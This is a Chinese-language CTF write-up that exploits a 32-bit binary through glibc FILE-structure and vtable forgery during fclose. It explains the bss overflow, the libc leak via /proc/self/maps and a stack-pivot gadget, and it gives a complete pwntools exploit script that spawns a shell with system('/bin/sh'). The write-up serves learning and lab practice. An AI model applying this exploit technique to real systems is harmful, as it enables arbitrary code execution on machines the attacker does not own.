这次借本题入门了glibc的FILE相关机制,果然一切涉及到函数指针的设计都是灵活但危险的。
本题相关:FILE伪造、vtable伪造、fclose
漏洞分析 保护情况:
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
程序大致是一个menu,可以选择以下几种功能:
open:指定文件名打开文件,将FILE*保存到bss段的fp(不允许文件名中含有flag子字符串)
read:从fp中读取0x18F个字节,并保存到bss段的magic_buffer中
write:将magic_buffer中的内容打印到屏幕上(不允许内容中含有flag、})
close:关闭fp
exit:往bss读取一串字符串(name)后,尝试fclose(fp)并退出
程序漏洞点有两个:
main函数读取选项时,使用了 scanf("%s", buf)
,其中buf是一个栈变量。
main函数在exit读取name时,也使用了 scanf("%s", name)
,其中name在bss段上,且fp在它的后面。
由于main函数没有ret,只有exit,因此我们没办法使用第一个漏洞来劫持程序控制流。 但第二个漏洞非常有用,我们可以通过溢出name来覆写fp指针,通过伪造FILE结构体和vtable的方式,我们可以让fclose调用某个给定的地址的代码,从而劫持程序控制流。
此外,还有一个不太算漏洞的疏忽,就是我们可以通过读取 /proc/self/maps
来得到程序各个段的地址。虽然read一次只能读取0x18F个字节,但是由于文件流在下一次读取时会接着读,所以我们是可以获取完整的文件内容的。
FILE 结构体分析 在glibc中,有三个初始文件流直接位于glibc的数据段,是stdin、stdout和stderr。当用户使用fopen打开新的文件时,FILE结构体会使用malloc分配到程序的堆上。
FILE结构体的定义位于 libio/libio.h
,在2.23-0ubuntu3版本中如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 struct _IO_FILE { int _flags; #define _IO_file_flags _flags char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; #define __HAVE_COLUMN unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
不过完整的FILE结构还多一个word,用来存放一个函数指针表vtable,这是为了与C++的streambuf兼容,在 libio/libioP.h
中可以找到其定义:
1 2 3 4 5 6 7 8 9 10 struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable ; };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 struct _IO_jump_t { JUMP_FIELD(size_t , __dummy); JUMP_FIELD(size_t , __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); #if 0 get_column; set_column; #endif };
fclose 分析 声明在 include/stdio.h
中:
1 2 extern int _IO_new_fclose (_IO_FILE*);# define fclose(fp) _IO_new_fclose (fp)
定义在 libio/iofclose.c
中,比较重要的是下面几行:
1 2 3 4 5 6 7 8 9 10 11 if (fp->_IO_file_flags & _IO_IS_FILEBUF) _IO_un_link ((struct _IO_FILE_plus *) fp); _IO_acquire_lock (fp); if (fp->_IO_file_flags & _IO_IS_FILEBUF) status = _IO_file_close_it (fp); else status = fp->_flags & _IO_ERR_SEEN ? -1 : 0 ; _IO_release_lock (fp); _IO_FINISH (fp);
与lock相关的代码实在是太复杂了,现在的我还没有宏孩儿的功力,因此只能暂且作罢。事实证明这题里面不用管它。
那么有两种攻击方法:一种是通过_IO_file_close_it调用vtable中的 __close
;一种是通过_IO_FINISH(定义见下)调用vtable中的 __finish
。
1 #define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
我使用的是后者,因为比较简单,但第一个方法看上去也是非常可行的。 具体来说,只要把 _IO_IS_FILEBUF
flag置零,就可以跳过unlink和close_it,调用到finish。
漏洞利用 既然栈上可以随便溢出,那我就寻思着想办法来个ROP! 我们可以使用上述方法劫持程序控制流来执行一次给定地址的代码,因此我的思路就是找一个长得像这样的gadget,直接将栈“迁移”到我可以控制的位置:add esp, xxx; ret
在本地调试时,在调用 __finish
后的第一条指令处停下,然后查看此时栈的情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pwndbg> stack 30 00:0000│ esp 0xffffcafc —▸ 0xf7e79fa8 (fclose+232) ◂— mov edx, dword ptr [esi + 0x68] 01:0004│ 0xffffcb00 —▸ 0x804c410 ◂— 0xfbad240c 02:0008│ 0xffffcb04 ◂— 0x0 03:000c│ 0xffffcb08 —▸ 0xf7e5ebcb (vfprintf+11) ◂— add ebx, 0x16e435 04:0010│ 0xffffcb0c ◂— 0x0 05:0014│ 0xffffcb10 —▸ 0xf7fe76eb (_dl_fixup+11) ◂— add esi, 0x15915 06:0018│ 0xffffcb14 ◂— 0x0 07:001c│ 0xffffcb18 —▸ 0xf7fcd000 ◂— 0x1afdb0 08:0020│ 0xffffcb1c —▸ 0xf7fcd000 ◂— 0x1afdb0 09:0024│ 0xffffcb20 —▸ 0xffffcb88 ◂— 0x0 0a:0028│ 0xffffcb24 —▸ 0xf7fedf10 (_dl_runtime_resolve+16) ◂— pop edx 0b:002c│ 0xffffcb28 —▸ 0xf7e79ecb (fclose+11) ◂— add ebx, 0x153135 0c:0030│ 0xffffcb2c ◂— 0x0 0d:0034│ 0xffffcb30 —▸ 0xf7fcd000 ◂— 0x1afdb0 0e:0038│ 0xffffcb34 —▸ 0xf7fcd000 ◂— 0x1afdb0 0f:003c│ ebp 0xffffcb38 —▸ 0xffffcb88 ◂— 0x0 10:0040│ 0xffffcb3c —▸ 0x8048b14 (main+221) ◂— add esp, 0x10 11:0044│ 0xffffcb40 —▸ 0x804c410 ◂— 0xfbad240c 12:0048│ 0xffffcb44 —▸ 0x804b260 (name) ◂— '114514' 13:004c│ 0xffffcb48 —▸ 0xffffcb88 ◂— 0x0 14:0050│ 0xffffcb4c —▸ 0x8048a62 (main+43) ◂— sub esp, 8 15:0054│ 0xffffcb50 ◂— 0x1 16:0058│ 0xffffcb54 ◂— 0x8000 17:005c│ 0xffffcb58 ◂— 0x5 18:0060│ 0xffffcb5c ◂— '5aaaaaaabbbbbbbbccccccccdddddddd'
可以发现,此时esp和可控的位置之间相差了 0x60 个字节。于是我在libc中找到了这个gadget:
1 # 0x0005ae90 : xor eax, eax ; add esp, 0x6c ; ret
有了这个gadget,我们就可以愉快地ROP了!直接 system(“/bin/sh”) 就行。
结构体伪造 首先要伪造的是FILE结构体,其中我们需要关注的是flags字段和vtable字段。使用pwntools的API可以超级方便地完成这一步:
1 2 3 4 fileStr = FileStructure() fileStr.flags=0xffffdfff fileStr.vtable=0x0804B260
根据vtable的定义,__finish
位于第三个指针处,在32位下就是0x8偏移处,因此我把它就直接放在name的地方。
最终伪造目标是这样(Fake Vtable除了__finish以外的值都不需要关心,因此我随意地在这里放了一个/bin/sh字符串):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Name ─────►┌─────────────────┐ ─┬─ Fake │/bin/sh\0 │ │ Vtable├────────┬────────┤ │ │__finish│ │ │ ├────────┴────────┤ │ 0x20 │ │ │ │ │ │ │ │ │ fp ─────►├────────┬────────┤ ─┴─ │fp+0x10 │ │ ├────────┘ │ │ │ ─────►├─────────────────┤ Fake │ Flag │ FILE ├─────────────────┤ │(vtable)&name │ └─────────────────┘
EXP脚本 细节:泄露libc时,由于buffer长度问题,libc基址不会在第一次就读取出来。但是我发现这一地址就是libc基址减去0x1000的偏移,因此我在这里加上0x1000就可以完成泄露。(一开始没发现这个,一位这个地址就是libc基址,因此卡了好久好久……)
最后输入选项的时候,payload以5开头,后面是ROP gadget。这样 atoi(payload)
的结果就是5,也就是选择exit功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 def pwn (): io.sendlineafter(b"Your choice :" , b"1" ) io.sendlineafter(b"see" , b"/proc/self/maps" ) io.sendlineafter(b"Your choice :" , b"2" ) io.sendlineafter(b"Your choice :" , b"3" ) io.recvuntil(b"[heap]\n" ) libc_base = int (io.recvuntil(b"-" )[:-1 ].decode(), 16 ) + 0x1000 success("libc_base -> " +hex (libc_base)) payload = b"5" + b"a" *0xb payload += pack(libc_base + libc.symbols["system" ]) + pack(0 ) + pack(0x0804B260 ) fileStr = FileStructure() fileStr.flags=0xffffdfff fileStr.vtable=0x0804B260 name = b'/bin/sh\0' + pack(libc_base + 0x0005ae90 ) name += b'a' *0x14 name += pack(0x0804B280 +0x10 )+b'a' *0xc name += bytes (fileStr) io.sendlineafter(b"Your choice :" , payload) io.sendlineafter(b"name" , name) io.interactive()
后记:后来发现其实根本不用ROP,由于调用vtable中的函数时,参数就是自己的file pointer,所以只要在flag字段后面加上”;/bin/sh;”,然后把 __finish
设置成system地址,就可以直接get shell。见R4bb1t师傅的博客